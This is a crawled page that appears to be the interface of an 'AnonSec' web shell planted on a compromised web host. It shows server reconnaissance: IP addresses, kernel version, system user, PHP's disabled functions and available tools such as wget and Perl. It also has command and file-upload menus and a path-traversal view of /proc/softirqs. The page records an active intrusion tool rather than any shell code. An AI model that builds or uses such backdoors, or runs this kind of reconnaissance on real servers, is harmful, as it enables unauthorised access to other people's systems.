Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.217.5
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   16016616   43040023   24347727   33601754   20591702   35597899   29706126   18948954   25426869   20416778   19967785   22131742  106577660   13185273   33114950   22924656
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         14          2          0          5          1
      NET_RX:   23438402   61530422   33008277   90959155   31067669  116428837   29919696   28868447   47193261   36942451   45100410   32328015   47840693   22500915   99412658  110202808
       BLOCK:    1152391    2072966    1911556    1495122    1227965    1275556    1261363    1200318    1321226    1121219     998338    1218318    1174553    1202636    1354029    1501048
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5317374   13322731    3902371   24323733    7744553   30451628    8039860    6580306   11294969    7759500   15477834    9093939   14667687    4259130   23757977    4096408
       SCHED:   38410837   18967446   12313890   15989181    9962429   18380391   10780988    9122016   11804118    9950108    9289398   12045992   21890542    8050050   16206982   21510684
     HRTIMER:       1623       4982       3316       8522       2131      12781       1417       2168       4219       2450       5369       3810       5304       1267       7058        968
         RCU:   38791370   70857132   48872217   83341209   45348718  102774252   48753777   41782304   56182653   48754842   40541868   43431514   93703669   36860476   93551344  143530817

AnonSec - 2021